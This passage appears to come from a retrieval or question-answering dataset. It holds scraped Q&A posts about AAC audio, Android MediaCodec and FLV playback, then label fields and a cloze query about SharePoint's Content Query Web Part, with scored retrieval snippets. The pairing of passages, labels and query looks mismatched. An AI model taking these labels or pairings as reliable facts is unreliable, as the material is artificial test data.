to deduce the profile format etc . For the above example the 5 bytes from the csd-0 buffer looks like this : .. . .. . Now I m wondering about the concrete structure of this codec specific data .. . Answer : You should only treat the MediaFormat returned by MediaExtractor as a hint you need to look at what MediaCodec returns with INFO OUTPUT FORMAT CHANGED this should return the real samplerate . This means that you can only configure AudioTrack once decoding of the content has started . Comment : I already do this . Actually the format looks like this when INFO OUTPUT FORMAT CHANGED is triggered : max-input-size 946 aac-profile 2 mime audio mp4a-latm durationUs 158499410 csd-0 java.nio.ByteArrayBuffer position 0 limit 5 capacity 5 channel-count 2 sample-rate 22050 but still the real sample rate I have to set on the AudioTrack is 44100 Comment : That sounds pretty bad then - which decoder MediaCodec.getName is this and on what device If you use OMX.google.aac.decoder which you can find via MediaCodecList I would guess that you d get the right sample rate although I haven t verified it . Comment : it s indeed the OMX.google.aac.decoder that is being used . Device is Moto G 2nd Gen but the same happens on S4 Mini . Comment : nevermind - the MediaFormat retrieved from the MediaCodec after it signals INFO OUTPUT FORMAT CHANGED is the right one to configure the playback . I was still looking at the initial format which of course does not update.. .", "Question : I try to encode audio to AAC with profile FF PROFILE AAC LOW by the following settings . Also from the output of av dump format I got this .. . .. . But the output is different . Everything is ok except the output is AAC not AAC LC . By using ffprobe to detect the output information is .. . .. . AAC LC is the desired result I need . But from the command-line ffmpeg can generate AAC LC output . Below is a small test . How can I select FF PROFILE LOW to get AAC LC output .. . Answer : This was caused by new ffmpeg api which I didn t notice . The extra data need to copy back to AVStream- codecpar- extradata after avcodec open2 . After that the ffprobe can detect output is the format I need AAC LC . The following is a code snippet from ffmpeg.c https : github.com FFmpeg FFmpeg blob master ffmpeg.c .. . .. . Hopefully it would be helpful to anyone use the latest version of ffmpeg 3.x .", "Question : I am trying to encode aac audio using android AudioRecord and MediaCodec . I have created a encoder class very similar to Encoding H.264 from camera with Android MediaCodec http : stackoverflow.com questions 13458289 encoding-h-264-from-camera-with-android-mediacodec . With this class I created an instance of AudioRecord and tell it to read off its byte data to the AudioEncoder audioEncoder.offerEncoder Data . Here is my Setting for my AudioRecord .. . .. . I successfully collected some byte array data and written it to a local file . Unfortunately the file is not playable . I did some more searching online and found a related post How to generate the AAC ADTS elementary stream with Android MediaCodec http : stackoverflow.com questions 18862715 how-to-generate-the-aac-adts-elementary-stream-with-android-mediacodec . So others who are having similar problem are saying the main problem is The MediaCodec encoder generates the raw AAC stream . The raw AAC stream needs to be converted into a playable format such as the ADTS stream . So I tried to add the ADTS header . Nevertheless after I added the ADTS header I commented out in the code below my AudioEncoder wouldn t even write the output audio file . Is there anything I m missing Is my setup correct Any suggestions comments and opinions are welcome and very appreciated . thanks guys Comment : finally i was able to play the audio using the ADTS technique . unfortunately there are absolutely no sounds.. . Comment : Did you ever figure this out There are apparently no working examples of encoding audio with MediaCodec unless API 18 . .. . Answer : Check testEncoder method here https : android.googlesource.com platform cts + jb-mr2-release tests tests media src android media cts EncoderTest.java for how to use MediaCodec as Encoder properly . after that In your code .. . .. . your input audio recorder is configured for single audio channel while your output ADTS packet header is set for two channels chanCfg 2 . also if you change your input samplerate currently 44.1khz you also have to change freqIdx flag in ADTS packet header . check this link http : wiki.multimedia.cx index.php title MPEG-4 Audio for valid values . And ADTS header profile flag is set to AAC LC you can also found this under MediaCodecInfo.CodecProfileLevel http : developer.android.com reference android media MediaCodecInfo.CodecProfileLevel.html . you have set profile 2 that is MediaCodecInfo.CodecProfileLevel.AACObjectLC", "Question : As I understand it Android will only play AAC format audio if it s encoded as MPEG-4 or 3GPP . I m able to play AAC audio encoded as M4A when it s local to the app but it fails when obtaining it from a server . The following works as the m4a file is held locally in the res raw directory . The following doesn t work . But does with MP3 s . Can anyone shed any light on why it fails when the m4a audio file is not local Here s some of the error.. . I m targeting SDK 1.6 . Comment : You re confusing encoding with file formats . AAC is an audio encoding format . M4A is a file-type or package that sits around the AAC data . 3GPP is similar but can contain other types of encoded audio . See here developer.android.com guide appendix media-formats.html http : developer.android.com guide appendix media-formats.html and here en.wikipedia.org wiki M4a http : en.wikipedia.org wiki M4a . Comment : True I should have described 3GPP and M4A as containers for AAC audio . Off the top of my head I think M4A may only be used for static files and 3GPP can only stream using RTSP rather than HTTP This would cause problems for HTTP streaming . Correct me if I m wrong.. . .. . Answer : try -- .. . .. . 1 MP.prepareAsync .. . .. . 2 onPrepared mp.start", "Question : null .. . Answer : I would like to get AAC audio from PCM by mediacodec but always got failure . Below are my coding could someone help me to figure out the root cause Thanks . media format configuration : .. . .. . encode : .. . .. . send to ffmpeg muxer .. . .. . When I extracted the stream by ffmpeg ffmpeg indicated the audio format was adpcm swf not AAC . Could someone teach me to fix the problem Thanks a lot .", "Question : As I understand it Android will only play AAC format audio if it s encoded as MPEG-4 or 3GPP . I m able to play AAC audio encoded as M4A when it s local to the app but it fails when obtaining it from a server . The following works as the m4a file is held locally in the res raw directory . The following doesn t work . But does with MP3 s . Can anyone shed any light on why it fails when the m4a audio file is not local Here s some of the error.. . I m targeting SDK 1.6 . Comment : You re confusing encoding with file formats . AAC is an audio encoding format . M4A is a file-type or package that sits around the AAC data . 3GPP is similar but can contain other types of encoded audio . See here developer.android.com guide appendix media-formats.html http : developer.android.com guide appendix media-formats.html and here en.wikipedia.org wiki M4a http : en.wikipedia.org wiki M4a . Comment : True I should have described 3GPP and M4A as containers for AAC audio . Off the top of my head I think M4A may only be used for static files and 3GPP can only stream using RTSP rather than HTTP This would cause problems for HTTP streaming . Correct me if I m wrong.. . .. . Answer : There is a the open-source OpenMXPlayer http : www.pocketmagic.net 2014 06 android-audio-player-using-mediacodec-mediaextractor that illustrates how to handle audio both for local files or online streaming sources . It supports not only AAC but also the other popular formats . The idea behind it is to use the MEdiaCodec API introduced in Android 4.1 . Hope this provides a good starting point for anyone needing a quick and hassle free audio-player implementation .", "Question : I wish to play an AAC+ shoutcast stream in Python . I have tried with bass aac an extension to the Bass audio library which claims to be able to handle AAC+ unsuccessfully . I m perfectly willing to write a binding to an external library if necessary . Suggestions .. . Answer : Using GSTreamer http : gstreamer.freedesktop.org via gst-python http : gstreamer.freedesktop.org modules gst-python.html would be a good solution . GST can handle the whole audio pipeline from the HTTP streaming to speaker output . I would suggest using gst-launch to get a feel of the API .. . .. . You can use souphttpsrc or other plugins to enable receiving metadata or more advanced output . Note : The in the shoutcast URL forces a audio only stream without any metadata . This is useful to localise issues relating to shoutcast icecast and not the more general audio-streaming", "Question : I can get it to work in safari but doesn t work in chrome and firefox . any solution .. . Answer : Only Safari and IE support .aac . Here is what each browser supports : .. . .. . Internet Explorer 9.0+ : .mp3 .aac .. . Chrome : .ogg .mp3 .wav .aac .. . Firefox : .ogg .wav .. . Safari : .mp3 .aac .wav .. . Opera : .ogg .wav .. . .. . Chrome seems to support .aac http : www.chromium.org audio-video but it isn t included in the list of officially supported file extensions . I suggest using both .ogg and .mp3 or .ogg and .aac to cover all bases . References .. . .. . HTML 5 Doctor - HTML5 audio the state of play http : html5doctor.com html5-audio-the-state-of-play .. . Chromium - Audio Video http : www.chromium.org audio-video Comment : FF seems to support aac in an mp4 container if you re using vista+ developer.mozilla.org en-US docs Web HTML https : developer.mozilla.org en-US docs Web HTML Supported media formats", "Question : is there a difference between M4A audio files and AAC audio files or are they exactly the same thing but with a different file extension .. . Answer : There are raw video and audio streams this streams cannot be played directly on most video audio-player they need to be encapsulated on a transport a raw H.264 video stream and a raw AAC audio stream need to be inside a MP4 encapsulator it can be also inside an AVI or MOV encapsulator . A MP4 file can contain a H.264 video stream and or an AAC audio stream but for some reason someone decided that a MP4 file that contains video and audio use the file extension M4V v for video and if it is an MP4 file that only contains audio to use the M4A extension that is a common practice in other encapsulators like Windows Media which use WMV and WMA or OGG which use OGV and OGA silly as it seems . So a file that has a M4A file extension is an MP4 file that can contain a AAC audio track but it is not always the case that s why programs like mediainfo become handy to know what is inside a file .", "Question : is there a difference between M4A audio files and AAC audio files or are they exactly the same thing but with a different file extension .. . Answer : They are not the same thing . An m4a is basically the same thing as an mp4 and is just a container format . codec container . It does not imply a codec and therefor could contain mp3 ac3 or any other audio codec . A AAC file is concatenated AAC frames prepended with ADTS headers and optionally an ID3 tag .", "Question : I have the following function which takes a WAV PCM file and encodes it to an AAC-encoded MP4 file using Android s MediaCode and MediaMuxer classes . This is audio only . The function runs successfully and outputs a .mp4 of reasonable that is recognized as AAC-encoded . But it doesn t play on Android web or iOS players and crashes Audacity . Is there something I am missing Code is shown below . .. . Answer : You seem to be encoding your AAC into LATM format which isn t very popular . Maybe that s the reason players won t play it . Try using some other media type audio mp4 or audio 3gpp . See AAC container formats https : en.wikipedia.org wiki Advanced Audio Coding Container formats .", "Question : Just would like to know : is there any iOS native framework SDK supports the streaming of HE-AAC AAC+ audio files And any iOS framework SDK to stream .wav and FLAC Free Lossless Audio Codec audio files Thanks a lot in advance . .. . Answer : You could use AVAudioPlayer . https : developer.apple.com library ios documentation AVFoundation Reference AVAudioPlayerClassReference Chapters Reference.html .. . .. . Check the supported formats in Apple docs : .. . .. . https : developer.apple.com library ios documentation AudioVideo Conceptual MultimediaPG UsingAudio UsingAudio.html apple ref doc uid TP40009767-CH2", "Question : I m writing a Flash video-player to play Apple HLS video streams and I m finding that any content with an AAC audio track which has been segmented by the Apple tools with the -optimize option enabled Now the default has an audio track which I can not decode The sync bytes aren t where I think they should be . What does the optimize option do to the audio Is it re-encoding it or just packing it differently Most importantly what do I need to do in order to read the audio track correctly I ve been searching for some months now but no one seems to have a technically useful answer to this i.e . anything beyond It makes the files smaller . This appears to only affect the audio track if I disable audio decoding the video plays back just fine in all cases at least all I ve seen so far - Apple tools ffmpeg commercial encoders etc . .. . Answer : Ok so after some experimenting I think I ve found the answer to my question . Normally AAC frames are packed such that a small whole number of AAC frames fit within a single Payload Unit roughly interleaved in PTS order with the video frames they synchronize with . These Payload Units are then packed into the payload space of consecutive 188 byte TS Packets with the empty space in the last TS Packet padded with junk i.e . not part of the data-stream . This can mean that in a 10 second TS segment you might have an overhead in the order of roughly 2-6 Kbytes . With AAC optimization two things appear to change . 1 . The size of the Payload Units containing the AAC frames is increased reducing overall the number of Payload Units . 2 . The Payload Units are sized to an exact multiple of the payload space in a TS Packet rather than to fit an number of whole AAC frames . This means that padding is all but eliminated - All used space is valuable data so the overall size is reduced . In addition this means that AAC frames are no longer immediately adjacent to the video frames they should sync with - They may be some considerable distance apart in fact . This also means however that an individual Payload Unit may not be able to fit a whole AAC frame at the end so as much of the frame as will fit is put in this Payload Unit and the rest is put at the beginning of the next AAC Payload Unit - This means that AAC Payload Units may not start with AAC frame sync bytes Which is what I was seeing Wherever either the read AAC frame is not long enough to contain a whole header or where the AAC payload length in the AAC header is less than remaining Payload Unit length then the remaining data must be in the next AAC Payload Unit - Note however this may be in the next segment", "Question : I want to know if it s really possible to play an AAC ADTS header file with Netstream.appendbytes . I m talking about files that end .aac not AAC audio inside M4A or MP4 containers . I m aware Netstream can t parse ADTS headers etc so I already have a class for parsing the data and gives back correct info such as channels bitrates framelengths etc . Putting this together gives silence : Make FLV header + append - Make audio tag header + append - now append with raw headerless AAC payload frame 1 + update previous tag size - Make new audio tag for next AAC frame append - raw headerless payload append frame 2 and so on until track end . Can someone please clarify : .. . .. . In the FLV tag we put extra byte to specify whether Raw or Sequenced AAC type . If I have removed the 7 byte header and left with only data up the next frame SyncWord . I assume its Raw but I get silence whichever setting I choose . Should I be considering anything else ie an additional function depending on type Should AAC header bytes exist in some data at some point sent to the Appendbytes command Even if I already set FLV tag to Raw AAC audio Do all AAC files hold 1024 samples per frame regardless of channels or should I multiply 1024 by channels number I ask because I need this for correct duration calculation and noticed when testing MP3s that I get silence if duration or framelengths are wrong . I have a lot of questions and a lot research AAC specs FLV specs etc but nothing is helping and there is some confused info on the net well they don t always speak from an AS3 perspective. . . I guess I just need to know it s definitely possible rather than keep on blindly against a technical limitation .. . .. . PS : I have succesfully played .MP3 audio files with AppendBytes and now changed the process to accomodate AAC ie : parsing 7 byte header not 4 byte header etc . More to it than that ofcos . Thanks for reading and hope someone out there can help . .. . Answer : I meant to answer this a while back.. . Working Demo. . A very basic demo of AAC file playback http : www.swfcabin.com swf-files 1411416171.swf see below if you need some test AAC file .. . .. . I can happily confirm that it s 100 possible to play an .aac audio file using NetStream . So to clarify my own questions : .. . .. . You need both AAC types mentioned at first to kickstart the AAC decoder then afterwards you can do the usual FLV tag with AAC type : Raw + Raw AAC data no ADTS header and continue as such until track end . Nope . No ADTS bytes should be sent to the Netstream decoder . Yes every AAC frame contains 1024 samples and each frame is equal to 23.21 milisecs around 44 frames for 1 second of audio . Channel settings are irrelevant . The image below illustrates the process . As you can see after the FLV header metadata there is tags for BOTH types at first but afterwards its AAC type raw for the rest of the way . No ADTS means remove the 7 byte header from each AAC frame and shove what s left into FLV tags . I made one FLV audio tag per AAC frame easier to deal with seeking timestamps etc .. . enter image description here http : i.stack.imgur.com uEnha.jpg .. . .. . After analysing a test FLV made with FFMPEG inside a Hex editor I understood to use both settings . I don t how they figured out you needed both instead of either one or other like the FLV Specs ver 10.1 was suggesting . I bow my head to the genius of those guys girls . I was stuck because of this : enter image description here http : i.stack.imgur.com dSLXO.jpg .. . .. . The Process image at top is enough for those who know netstream.appendbytes to get on with it : .. . .. . If you need some test audio files.. . .. . .. . .. . AAC Loop test 1 : credits : Mark 45 King - http : goo.gl U7IuWe .. . AAC Loop test 2 : credits : U.T.F.O - http : goo.gl W8ieJd .. . AAC Extended test : credits : Enya - http : goo.gl EVCy4X Comment : Code share will be posted asap but if you need playback on mobile you can try the : Fresh Planet AAC Player ANE https : github.com freshplanet ANE-AACPlayer", "Question : As I understand it Android will only play AAC format audio if it s encoded as MPEG-4 or 3GPP . I m able to play AAC audio encoded as M4A when it s local to the app but it fails when obtaining it from a server . The following works as the m4a file is held locally in the res raw directory . The following doesn t work . But does with MP3 s . Can anyone shed any light on why it fails when the m4a audio file is not local Here s some of the error.. . I m targeting SDK 1.6 . Comment : You re confusing encoding with file formats . AAC is an audio encoding format . M4A is a file-type or package that sits around the AAC data . 3GPP is similar but can contain other types of encoded audio . See here developer.android.com guide appendix media-formats.html http : developer.android.com guide appendix media-formats.html and here en.wikipedia.org wiki M4a http : en.wikipedia.org wiki M4a . Comment : True I should have described 3GPP and M4A as containers for AAC audio . Off the top of my head I think M4A may only be used for static files and 3GPP can only stream using RTSP rather than HTTP This would cause problems for HTTP streaming . Correct me if I m wrong.. . .. . Answer : This work-around allows you to play M4A files from the net and AAC files in other containers such as MP4 3GP . It simply downloads the file and plays from the cache . Comment : Good idea but of course this requires the entire file to be downloaded first before it can be played . Could be useful for some situations but obviously not suitable as a streaming solution . Comment : That s true though this code can be built on to create a streaming solution using a local file or files as a makeshift circular-buffer . It s unfortunate that the MediaPlayer cannot receive from an InputStream or you d be able to do a circular-buffer in the standard way .", "Question : As I understand it Android will only play AAC format audio if it s encoded as MPEG-4 or 3GPP . I m able to play AAC audio encoded as M4A when it s local to the app but it fails when obtaining it from a server . The following works as the m4a file is held locally in the res raw directory . The following doesn t work . But does with MP3 s . Can anyone shed any light on why it fails when the m4a audio file is not local Here s some of the error.. . I m targeting SDK 1.6 . Comment : You re confusing encoding with file formats . AAC is an audio encoding format . M4A is a file-type or package that sits around the AAC data . 3GPP is similar but can contain other types of encoded audio . See here developer.android.com guide appendix media-formats.html http : developer.android.com guide appendix media-formats.html and here en.wikipedia.org wiki M4a http : en.wikipedia.org wiki M4a . Comment : True I should have described 3GPP and M4A as containers for AAC audio . Off the top of my head I think M4A may only be used for static files and 3GPP can only stream using RTSP rather than HTTP This would cause problems for HTTP streaming . Correct me if I m wrong.. . .. . Answer : I wrote a smal blog on a cloud-based solution I use for a music-player I m developing . It s based on the young Android Cloud Services ACS project which isn t available yet but still it shows a potential solution using cloud-based transcoding to stream any media files . Have a look : http : positivelydisruptive.blogspot.com 2010 08 streaming-m4a-files-using-android-cloud.html .. . .. . Joel Comment : Hi Joel . It s a possible option however it removes the advantages of AAC over other formats higher perceived quality at a lower bitrate as you re just streaming MP3 in the end ." ] }
[ "yes-answer-long", "yes-answer-short" ]
mpeg-4
UNK_RELATION
cqwp@cqwp@36
cqwp -- the content query web part @placeholder aggregates and displays list items within a site hierarchy using lists libraries or sites as a data source .
{ "confidence": [ 52.267539978027344, 43.97637939453125, 41.19939041137695, 39.6674919128418, 39.633575439453125, 39.301578521728516, 38.614952087402344, 37.84033966064453, 37.14024353027344, 37.11604309082031, 36.664642333984375, 35.283226013183594, 35.12004852294922, 34.666080474853516, 34.66389465332031, 33.479637145996094, 33.39691925048828, 33.33933639526367, 33.060028076171875, 32.88426208496094, 32.84449005126953, 32.33317184448242, 32.33317184448242, 32.03289031982422, 31.866924285888672, 31.287246704101562, 31.07882308959961, 31.06385040283203, 30.93311309814453, 30.86859130859375, 30.841415405273438, 30.80387306213379, 30.766263961791992, 30.74398422241211, 30.612070083618164, 30.408794403076172, 30.329864501953125, 30.31092643737793, 30.192432403564453, 30.192432403564453, 30.13567352294922, 29.543292999267578, 29.234024047851562, 28.469829559326172, 28.408292770385742, 28.408292770385742, 28.381200790405273, 28.112367630004883, 28.048425674438477, 27.963886260986328, 27.953208923339844, 27.938472747802734, 27.505870819091797, 27.492156982421875, 26.916200637817383, 26.75735855102539, 26.710878372192383, 26.680356979370117, 26.345691680908203, 26.261993408203125, 26.2501220703125, 26.235734939575195, 26.235734939575195, 26.204830169677734, 26.144250869750977, 26.097049713134766, 26.06885528564453, 26.047534942626953, 26.041976928710938, 25.907146453857422, 25.88775634765625, 25.35196304321289, 25.35196304321289, 25.323688507080078, 24.696718215942383, 24.639968872070312, 24.584850311279297, 24.561752319335938, 24.533842086791992, 24.533842086791992, 24.476207733154297, 24.133054733276367, 24.133054733276367, 24.101938247680664, 24.037933349609375, 23.993553161621094, 23.969552993774414, 23.875255584716797, 23.69045639038086, 23.64366340637207, 23.594440460205078, 23.576513290405273, 23.387374877929688, 23.387374877929688, 23.20850372314453, 23.149072647094727, 23.14777374267578, 23.058837890625, 23.006494522094727, 22.977458953857422 ], "content": [ "I have customized CQWP Content Query Web Part to display items from my sub sites .", "We have a SP2010 site that we are making extensive use of the CQWP Content Query Web Part on .", "I m using a CQWP Content query web part that fetch a calendar list and I want to filter my result customqueryoverride - usign CAML .", "CQWP OOTB Filtering by content-type Video .. . .. . The CQWP query properties : .. . .. .", "Also you can specify which lists in which sites should be queried by filling ListsOverride and WebsOverride properties of CQWP .. . .. . http : www.glynblogs.com 2011 06 querying-specific-lists-with-the-content-query-web-part.html", "I m basically editing ItemStyle.xsl to get it to retrieve what I need and display through a CQWP Content Query Web Part .", "And there is a CQWP web part which uses this list as a Source and uses custom XSL style added to Itemstyle.xsl .", "I am using the SPLimitedWebPartManager to access the webpart properties for a Content Query Web Part in order to programatically modify the Grouped by property for the CQWP.. .", "I though I would be able to do that using a content query web part sort the CQWP descendently on survey creation date and restrict the number of displayed items to one .", "I ve edited a CQWP that points to a site containing multiple blog sub-sites and it grabs the latest posts from these sites and displays the latest 5 on my homepage .", "When I point the CQWP at a specific list it displays description value fine .", "Possible reasons why CQWP results are not visible : .. . .. . Javascript CSS that affect the visibility of web part .. . Verify source settings for web part .", "SharePoint 2010 Content Query Web Part with paging http : blog.mastykarz.nl sharepoint-2010-content-query-web-part-paging .. . .. . Retro-fitting existing XSL Stylesheets with the Paging Controls http : sharepointyankee.com tag content-query-web-part .. . .. . OOTB SharePoint CQWP Paging - CodePlex https : cqwppaging.codeplex.com", "I was able to do this directly in the CQWP web part instead of the ItemStyle.xsl .. . .. . Replacing .. . .. . With", "I m working with the SharePoint content query web part .", "The Content Query Web Part does not return all fields for all items automatically .", "My sincere thatnks to Michael Nemtsev http : msmvps.com blogs laflour archive 2008 12 24 why-content-query-web-part-cqwp-doesn-t-return-all-results.aspx .. . .. . Regards Sudhir Kesharwani", "I have a content query web part on page which i am using to pull a list of links from a link list to display on page .", "Besides buying a third party what is the best approach to extending the CQWP control to include content from a seperate site collection", "the web part doesn t know where it is in the site hierarchy so it will default to returning everything in the Site Collection .", "I m trying to build a Custom Query Web Part that pulls data from multiple lists or I d just do this with a List View and I want to group the data by first letter A-Z .", "How do you order items when you override the QueryOverride property of the Content Query Web Part", "So how do you order items when you override the QueryOverride property of the Content Query Web Part", "We are using a Content Query web part to query for a specific reusable HTML content item and display it in a page layout so it exists on every page but it is appearing as HTML source not rendered HTML .", "We were successfully able to inherit from CQWP and use a ton of reflector to reproduce a lot of the CQWP code and got it working quite well to query other site collections as well as the current .", "The CQWP has a WebUrl property is there a way to set this to alway be the the current web", "As soon as I change the query to Show Items from the Following Site and all subsites or Show items from all sites in this collection the category is no longer displayed .", "You can not override the content query webpart to query another site collection .", "I m trying to create a Relevant Articles area on my SharePoint website and I am using the CQWP Content Query Web Part to tailor the results to the metadata we ve created for each page .", "I have been given responsibility for a Web Part which extends the Content Query Web Part .", "In ALL year sites I have a list called Request every one of those lists have a lookup column to the Beneficiaries list in the central site .", "As part of a page layout I inserted a content query web part directly in the page not in a web part zone so the users couldn t edit it .", "In case if page and page layouts located on different sites and the source property is configured to Show items from the following list or Show items from the following site and all subsites then this could be the reason .", ": http : social.technet.microsoft.com Forums sharepoint en-US 1484df2b-0fb9-4b58-b833-a75019db88c7 content-query-display-multiple-columns .. . .. . Please check the below link .. . .. . http : pholpar.wordpress.com 2010 01 21 displaying-results-in-multiple-columns-using-the-content-query-web-part .. . .. . Other option is you ca use Dataview webpart to show the list details from one site to other site .. . .. . http : www.learningsharepoint.com 2012 08 12 sharepoint-2013-add-dataview-webpart-with-sharepoint-designer-2013 .. . .. . http : sharepointgeorge.com 2009 display-sharepoint-list-site-data-view-web-part", "So I pointed to http : myinternaldomain.whatever : 12345 and for some reason the CQWP then breaks saying unable to display this web part", "I have determined that it is not possible to use the SP UI to set up the CQWP to return items from multiple list types since one of the required query fields is list type .", "Some notes that I had from when I customized the CQWP : .. . .. . Always make a backup of ItemStyle.xsl .. . An error in the ItemStyle.xsl file will break ALL content query web-parts .. . Watch out for newlines and spaces in between tags", "I m building a custom Content Query Web Part to display rollup information from an employee content-type .", "My CQWP is working great and all the site columns I need are available .", "I extracted existing CQWP renamed it and uploaded to webpart gallery on a site collection .", "The issue I m having is that CQWP displays document titles or notes instead of the actual file names .", "I ve tried referencing it in the CQWP like Name : CMF CLIENT as it appears in the list and several variations but I get the error that it does not exist .. . .. . .. . Is there a way to actually query those additional fields into a CQWP or am I barking up the wrong tree", "I have cusomized the rendering of additional fields in CQWP using ItemStyle.xsl .", "I have : .. . .. . Created a List of Links .. . Ordered this List using the Change Item Order ribbon button .. . Created a CQWP .. . Added the CQWP to a page and pointed it at the List of Links .. . Edited the xsl that the CQWP is using to display the Links nothing to do with ordering at all purely html to get the links doing what they should .", "I am trying to use a Content Query Web Part to create a What s New page in Sharepoint 2010 .", "In my case I started by configuring the content query web part on the page and then exporting it to get the xml .", "I got it from looking in the server-explorer in Visual Studio Under Lists and Libraries Document Libraries My List Type .", "I am in the Content Query Tool Part filtering my list with Managed Metadata Tags .", "So my question is how do I get CQWP to render description field from multiple calendar lists", "In an ONET.XML file I build a page with a CQWP .", "I have exported the CQWP and updated viewcommonfields to include PostCategory Lookup .. . .. . I have edited the itemlist.xsl to display @PostCategory .. . .. . When I use a CQWP on a single Posts list the PostCategory is displayed show items from the following list .", "I ve built the CQWP which sits on the homepage and displays files Word Excel docs uploaded to the Shared Document library on any subsite .", "Using these in a CQWP Item Style will get the width height of the video .", "Is it possible to add a cqwp in a page layout", "I have created a new sharepoint site on our moss server at http : sharepoint : 12345 and added a CQWP to it without issue .", "FileRef used within a CQWP is returning the path to the folder sp 2013 and not including the filename of the file .", "Download : ImtechContentQueryWebPart.wsp custom web part from this link : http : imtech.codeplex.com This web part is a custom Content Query Web Part through which you can apply your own xsl files .", "Is there a way of preserving the order of a List of Links in a CQWP in Sharepoint 2010", "Adding the NumComments to the DataMappings property in the CQWP .", "I have figured out the issue the CQWP has a property called UseCache .", "the change is listed below .. . .. . After i uploaded the new CQWP I tried to add the CQWP to a page but got an error saying cannot add webpart and make sure it is correct web part file .dwp or .webpart file and make sure the xml is well formed xml .", "It is supported to add instance of CQWP into Page Layout .", "It almost looks like the CQWP has a bug in it .", "i have created a CQWP with the following Xslt Template : .. . .. . The problem is when accessing as an Authorized user it shows a drop down list with the actual data works well but when accessing Anonymously it displays All the Data Except Some fields Such as @Country .", "I have successfully configured the CQWP and can return the data in the column Name from that list by using Name Custom Columns but what I would like to do is also include the additional field CMF CLIENT as well .", "see sharepoint.stackexchange.com questions 12128 http : sharepoint.stackexchange.com questions 12128 sharepoint-2010-cqwp-not-rendering-calendar-list-description-field", "I am having a strange issue that my web part is able to render data when the page is in Edit mode however when i exit the edit mode the web part is not showing any data .", "I have a content query webpart on a page in SharePoint 2010 that is pulling information from a custom list residing in the same site .", "The items are filtered based on my custom content-type .", "In SPD select the CQWP .", "Finally insert the Imtech Content Query Web Part to your page and copy the path of copied ItemStyle.xsl and ContentQueryMain.xsl files .", "The modified CQWP web part worked with no problem at all under default itemstyle.xsl .. . .. . After that i copied itemstyle.xsl renamed it to customitemstyle.xsl and uploaded it to XSL Style Sheet folder under Style Library and published the xsl file .", "I have an HTML output which is desired to be .. . .. . and the input xml for the CQWP is .. . .. . So you can see that the web part will tell the xslt that it should render a particular style or output template .", "web part configuration http : i.stack.imgur.com unmNS.png .. . .. . The result using a ShowXML item style is the following data .", "I am using SharePoint 2013 and trying to render a CQWP to show the latest blog posts .", "Any ideas on how I can retrieve a column data in another list and compare it to a document library column using XSLT and content query Webpart", "It may be hard to believe but I couldn t find a single article to create a web part inherited from content by query web part http : msdn.microsoft.com en-us library microsoft.sharepoint.publishing.webcontrols.contentbyquerywebpart.aspx .", "Use tag for this comment the main template in main XSL and add this as template match : .. . .. . Now the CQWP will display the full query response XML", "I got a question about applying custom itemstyle.xsl to CQWP .", "Now I get stucked to resolve the error and apply custom itemstyle to CQWP .", "If I add an OrderBy node to the QueryOverride property I get an error message along the lines of something wrong with the query this web part is.. . and the Content Query Web Part doesn t seem to have an OrderBy property which I could use instead .", "Then all the groupings sorting and the query will be implemented via code that is in the extended web part .", "then all the groupings sorting and the query will be implemented via code that is in the extended web part .", "Even if I modify the .webpart file s GroupBy property for the CQWP to force it to group-by my calculated column Letter though the query comes up empty because it can t group-by a calculated column .", "In order to render Links List items that redirects to the URL instead of List Item URL in CQWP http : msdn.microsoft.com en-us library microsoft.sharepoint.publishing.webcontrols.contentbyquerywebpart.aspx specify in Presentation tab for Fields to display : .. . .. . Link : URL Custom Columns .. . .. . as shown on picture below .. . .. .", "Well I tried that code out but I m just getting the query repeated the number of tasks within the list .", "I would like to display results in two columns for a specific CQWP without changing the XSL file .", ".. . .. . For querying Survey List via CQWP the following properties could be used .. . .. . BaseType http : msdn.microsoft.com en-us library microsoft.sharepoint.publishing.webcontrols.contentbyquerywebpart.basetype.aspx Lists BaseType 4 .. . ServerTemplate http : msdn.microsoft.com en-us library microsoft.sharepoint.publishing.webcontrols.contentbyquerywebpart.servertemplate.aspx Lists ServerTemplate 102 .. . .. . Example .. . .. . To retrieve all the responses from Survey lists specify List Type property as shown on picture .. . .. .", "I am trying to setup a content query web part in MOSS that will display documents on a page based on a choice column that I created .", "Currently the Web Part does not function as designed as it does not order the items according to the appropriate field .", "Is there any good reference to change Content Query Webpart formatting .", "What I would like the CQWP to do is filter the document list that is displayed based on this Page column .", "I would like to display breadcrumb for the pages rendered in CQWP .", "I ve also tried this with an OOTB CQWP and I get the same result .", "By default this property is set to True this conflicts with the web part rendering .", "They are also all part of the same content-type group .", "It works fine if you point to an individual Posts list but not when you point to an entire site and select the content-type to Posts .", "Everything works fine in my development-environment however when I deployed it to production the web part would say no items returned .", "In the central site I have a list called Beneficiaries .", "I m using a CQWP to show documents in a library and I can t figure out how to show just the name file name of the document linked to the document ." ] }
{ "confidence": [ 66.75422668457031, 63.23372268676758, 61.30648422241211, 57.57704162597656, 53.68362808227539, 52.01251983642578, 50.87961959838867, 50.132930755615234, 49.84243392944336, 49.719459533691406, 48.42393493652344, 47.63574981689453, 45.42113494873047, 45.27448272705078, 45.145477294921875, 44.47526931762695, 44.390403747558594, 43.8542594909668, 43.77650833129883, 42.648155212402344 ], "content": [ "Question : We have a SP2010 site that we are making extensive use of the CQWP Content Query Web Part on . When I point the CQWP at a specific list it displays description value fine . The problem is when I point it at a hierarchy of SPWebs and configure it to rollup all items of type Calendar . When I do this all data comes through fine except for Description which is very odd . I tried using internal field name too it doesn t seem to make any difference . So my question is how do I get CQWP to render description field from multiple calendar lists Comment : see sharepoint.stackexchange.com questions 12128 http : sharepoint.stackexchange.com questions 12128 sharepoint-2010-cqwp-not-rendering-calendar-list-description-field .. . Answer : I was able to get this working by changing the DataMappings and DataMappingViewFields . The values in these fields are very sensitive and a space or semi-colon in the wrong place will break it . I ve posted what worked below hopefully this will save someone else two days of misery", "Question : I don t know what I am doing wrong but it is driving me mad . I am searching through Blog Sites and displaying posts including the PostCategory . I have exported the CQWP and updated viewcommonfields to include PostCategory Lookup .. . .. . I have edited the itemlist.xsl to display @PostCategory .. . .. . When I use a CQWP on a single Posts list the PostCategory is displayed show items from the following list . It doesn t seem to matter which posts list I choose it works fine . As soon as I change the query to Show Items from the Following Site and all subsites or Show items from all sites in this collection the category is no longer displayed . I have tried typing allsorts into the Fields to Display under PostCategory e.g . PostCategory Category Category Custom Types but all to no avail . What am I doing wrong Thanks .. . .. . Stewart . .. . Answer : I m not able to test it right now by myself but try to use Guid instead of field name . For example I have similar case but need to show post title for comment . I use .. . .. . in CommonViewFields and .. . .. . in XSL . Also you can specify which lists in which sites should be queried by filling ListsOverride and WebsOverride properties of CQWP .. . .. . http : 